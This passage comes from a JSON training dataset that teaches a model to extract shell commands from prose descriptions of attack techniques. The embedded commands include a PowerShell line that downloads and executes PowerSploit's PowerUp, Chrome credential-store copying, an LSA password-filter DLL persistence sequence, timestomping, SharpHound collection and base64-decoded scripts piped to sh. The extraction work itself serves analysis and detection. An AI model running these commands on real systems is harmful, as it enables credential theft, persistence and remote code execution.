\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test demonstrates credential dumping from Chrome's database by executing this command: esentutl.exe /y \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\" /d \"#{output_path}\"\n",
    "output": "{\"command_list\": [\"esentutl.exe /y \\\"%LOCALAPPDATA%\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\" /d \\\"#{output_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This toolkit provides iterative AD discovery for offensive operators, which can be executed with the command:\n\"#{trufflesnout_path}\" forest -n #{domain}\n\"#{trufflesnout_path}\" domain -n #{domain}",
    "output": "{\"command_list\": [\"\\\"#{trufflesnout_path}\\\" forest -n #{domain}\\n\\\"#{trufflesnout_path}\\\" domain -n #{domain}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The file can be downloaded and saved to a custom path by running the command: nscurl -k \"#{remote_file}\" -o \"#{destination_path}\"",
    "output": "{\"command_list\": [\"nscurl -k \\\"#{remote_file}\\\" -o \\\"#{destination_path}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To list all local user accounts using WMI, run this command: wmic useraccount get /ALL /format:csv",
    "output": "{\"command_list\": [\"wmic useraccount get /ALL /format:csv\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To stomp on a file's modification timestamp, use the following command: touch -m -t 197001010000.00 #{target_filename}\n",
    "output": "{\"command_list\": [\"touch -m -t 197001010000.00 #{target_filename}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A common technique for executing obfuscated shell scripts involves base64 decoding, which can be detected using the Sigma rule mentioned. The execution is typically done via the following command: echo #{bash_encoded} | b64decode -r | sh\necho #{dash_encoded} | b64decode -r | sh\necho #{fish_encoded} | b64decode -r | sh\necho #{sh_encoded} | b64decode -r | sh",
    "output": "{\"command_list\": [\"echo #{bash_encoded} | b64decode -r | sh\\necho #{dash_encoded} | b64decode -r | sh\\necho #{fish_encoded} | b64decode -r | sh\\necho #{sh_encoded} | b64decode -r | sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For loading a password filter DLL into lsass.exe through registry modification, execute these commands which require administrative access and will need a reboot to take effect: reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$AuthenticationPackagesValues = $lsaKey.GetValue(\"Authentication Packages\")\n$AuthenticationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Authentication Packages\" $AuthenticationPackagesValues",
    "output": "{\"command_list\": [\"reg.exe export HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\ \\\"PathToAtomicsFolder\\\\T1556.002\\\\lsa_backup.reg\\\"\\n$passwordFilterName = (Copy-Item \\\"#{dll_path}\\\\#{dll_name}\\\" -Destination \\\"C:\\\\Windows\\\\System32\\\" -PassThru).basename\\n$lsaKey = Get-Item \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\\\"\\n$AuthenticationPackagesValues = $lsaKey.GetValue(\\\"Authentication Packages\\\")\\n$AuthenticationPackagesValues += $passwordFilterName\\nSet-ItemProperty \\\"HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\\\" \\\"Authentication Packages\\\" $AuthenticationPackagesValues\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To launch the Tor proxy service, which provides onion routing functionality for applications like Tor Browser, use the following command:\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"#{TorExe}\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n",
    "output": "{\"command_list\": [\"invoke-expression 'cmd /c start powershell -Command {cmd /c \\\"#{TorExe}\\\"}'\\nsleep -s 60\\nstop-process -name \\\"tor\\\" | out-null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using 